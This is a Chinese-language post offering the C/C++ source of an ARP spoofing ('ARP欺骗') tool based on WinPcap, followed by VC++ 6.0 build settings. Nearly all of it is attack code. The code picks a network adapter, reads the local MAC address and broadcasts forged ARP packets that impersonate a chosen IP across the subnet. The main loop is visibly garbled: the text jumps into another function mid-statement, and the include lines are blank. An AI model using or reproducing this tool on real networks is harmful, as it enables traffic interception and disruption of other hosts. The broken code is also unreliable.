ARP欺骗源代码（基于WinPcap实现）

//ArpCheat.h 

#ifndef MY_ARP_CHEAT_INCLUDE_H 
#define MY_ARP_CHEAT_INCLUDE_H 

//字节对齐必须是1 
#pragma pack (1) 
struct ethernet_head 
{ 
unsigned char dest_mac[6]; //目标主机MAC地址 
unsigned char source_mac[6]; //源端MAC地址 
unsigned short eh_type; //以太网类型 
}; 

struct arp_head 
{ 
unsigned short hardware_type; //硬件类型：以太网接口类型为1 
unsigned short protocol_type; //协议类型：IP协议类型为0X0800 
unsigned char add_len; //硬件地址长度：MAC地址长度为6B 
unsigned char pro_len; //协议地址长度：IP地址长度为4B 
unsigned short option; //操作：ARP请求为1，ARP应答为2 
unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址 
unsigned long sour_ip; //源IP地址：发送方的IP地址 
unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址 
unsigned long dest_ip; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址
unsigned char padding[18]; 
}; 

struct arp_packet //最终arp包结构 
{ 
ethernet_head eth; //以太网头部 
arp_head arp; //arp数据包头部 
}; 
#pragma pack () 
/** 
* 获得网卡的MAC地址 
* pDevName 网卡的设备名称 
*/ 
unsigned char* GetSelfMac(char* pDevName); 
/** 
* 封装ARP请求包 
* source_mac 源MAC地址 
* srcIP 源IP 
* destIP 目的IP 
*/ 
unsigned char* BuildArpPacket(unsigned char* source_mac, 

unsigned long srcIP, unsigned long destIP); 

#endif

//ArpCheat.cpp 
#include  
#include  
#include  
#include  
#include  
#include "ArpCheat.h" 

int main(int argc,char* argv[]){ 
pcap_if_t *alldevs; //全部网卡列表 
pcap_if_t *d; //一个网卡 
int inum; //用户选择的网卡序号 
int i=0; //循环变量 
pcap_t *adhandle; //一个pcap实例 
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 
unsigned char *mac; //本机MAC地址 
unsigned char *packet; //ARP包 
unsigned long fakeIp; //要伪装成的IP地址 
pcap_addr_t *pAddr; //网卡地址 
unsigned long ip; //IP地址 
unsigned long netmask; //子网掩码 

if(argc!=2){ 
printf("Usage: %s inet_addr\n",argv[0]); 
return -1; 
} 

//从参数列表获得要伪装的IP地址 
fakeIp = inet_addr(argv[1]); 
if(INADDR_NONE==fakeIp){ 
fprintf(stderr,"Invalid IP: %s\n",argv[1]); 
return -1; 
} 

/* 获得本机网卡列表 */ 
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) 
{ 
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); 
exit(1); 
} 

/* 打印网卡列表 */ 
for(d=alldevs; d; d=d->next) 
{ 
printf("%d", ++i); 
if (d->description) 
printf(". %s\n", d->description); 
else 
printf(". No description available\n"); 
} 
//如果没有发现网卡 
if(i==0) 
{ 
printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
return -1; 
} 
//请用户选择一个网卡 
printf("Enter the interface number (1-%d):",i); 
scanf("%d", &inum); 

//如果用户选择的网卡序号超出有效范围，则退出 
if(inum < 1 || inum > i) 
{ 
printf("\nInterface number out of range.\n"); 
/* Free the device list */ 
pcap_freealldevs(alldevs); 
return -1; 
} 




/* 移动指针到用户选择的网卡 */ 
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); 

mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" 

printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", 
mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); 



/* 打开网卡 */ 
if ( (adhandle= pcap_open(d->name, // name of the device 
65536, // portion of the packet to capture 
0, //open flag 
1000, // read timeout 
NULL, // authentication on the remote machine 
errbuf // error buffer 
) ) == NULL) 
{ 
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", 
d->name); 
/* Free the device list */ 
pcap_freealldevs(alldevs); 
return -1; 
} 

for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ 
//得到用户选择的网卡的一个IP地址 
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; 
//得到该IP地址对应的子网掩码 
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; 
if (!ip || !netmask){ 
continue; 
} 
//看看这个IP和要伪装的IP是否在同一个子网 
if((ip&netmask)!=(fakeIp&netmask)){ 
continue; //如果不在一个子网，继续遍历地址列表 
} 

unsigned long netsize = ntohl(~netmask); //网络中主机数
unsigned long net = ip & netmask; //子网地址 

for(unsigned long n=1; nhFile == INVALID_HANDLE_VALUE)) 
{ 
return NULL; 
} 

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); 
if (OidData == NULL) 
{ 
PacketCloseAdapter(lpAdapter); 
return NULL; 
} 
// 
// Retrieve the adapter MAC querying the NIC driver 
// 
OidData->Oid = OID_802_3_CURRENT_ADDRESS; 

OidData->Length = 6; 
memset(OidData->Data, 0, 6); 
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); 
if(Status) 
{ 
memcpy(mac,(u_char*)(OidData->Data),6); 
} 
free(OidData); 
PacketCloseAdapter(lpAdapter); 
return mac; 

} 

/** 
* 封装ARP请求包 
* source_mac 源MAC地址 
* srcIP 源IP 
* destIP 目的IP 
*/ 
unsigned char* BuildArpPacket(unsigned char* source_mac, 
unsigned long srcIP,unsigned long destIP) 
{ 
static struct arp_packet packet; 

//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF 
memset(packet.eth.dest_mac,0xFF,6); 
//源MAC地址 
memcpy(packet.eth.source_mac,source_mac,6); 
//上层协议为ARP协议，0x0806 
packet.eth.eh_type = htons(0x0806); 

//硬件类型，Ethernet是0x0001 
packet.arp.hardware_type = htons(0x0001); 
//上层协议类型，IP为0x0800 
packet.arp.protocol_type = htons(0x0800); 
//硬件地址长度：MAC地址长度为0x06 
packet.arp.add_len = 0x06; 
//协议地址长度：IP地址长度为0x04 
packet.arp.pro_len = 0x04; 
//操作：ARP请求为1 
packet.arp.option = htons(0x0001); 
//源MAC地址 
memcpy(packet.arp.sour_addr,source_mac,6); 
//源IP地址 
packet.arp.sour_ip = srcIP; 
//目的MAC地址，填充0 
memset(packet.arp.dest_addr,0,6); 
//目的IP地址 
packet.arp.dest_ip = destIP; 
//填充数据，18B 
memset(packet.arp.padding,0,18); 

return (unsigned char*)&packet; 
}

VC++ 6.0 中使用WinPcap
下载并安装WinPcap，安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。
增加WinPcap的include和lib路径：
Tools→Options→Directories，其中include文件的路径增加WinPcap的include路径（其中有pcap.h等头文件），library文件的路径增加WinPcap的lib路径（其中有Packet.lib和wpcap.lib）。
增加项目的静态链接库：
Project→Settings→Link→Object/library Modules，在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。
增加预编译信息：
Project→Settings→C/C++→Preprocessor definitions，在文本框的末尾添加”WPCAP,HAVE_REMOTE“。